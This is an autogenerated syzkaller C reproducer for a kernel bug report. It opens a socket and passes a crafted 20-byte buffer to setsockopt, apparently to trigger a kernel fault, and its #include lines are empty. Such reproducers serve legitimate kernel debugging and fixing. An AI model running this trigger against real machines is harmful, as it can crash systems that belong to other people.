// https://syzkaller.appspot.com/bug?id=9c204387ac7fdfeb264ba6fa2ee5f20cadcdcb25 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include uint64_t r[1] = {0xffffffffffffffff}; int main(void) { syscall(SYS_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x1012ul, -1, 0ul); intptr_t res = 0; res = syscall(SYS_socket, 0x1cul, 2ul, 0x88); if (res != -1) r[0] = res; memcpy((void*)0x20000080, "\xc6\x75\x64\x98\x9e\x90\x5a\xcc\xd0\xcc\x2e\xd9\xca\x57\x0d\x89\x44" "\x75\x91\x85", 20); syscall(SYS_setsockopt, r[0], 0x29, 0x2e, 0x20000080ul, 0x14ul); return 0; }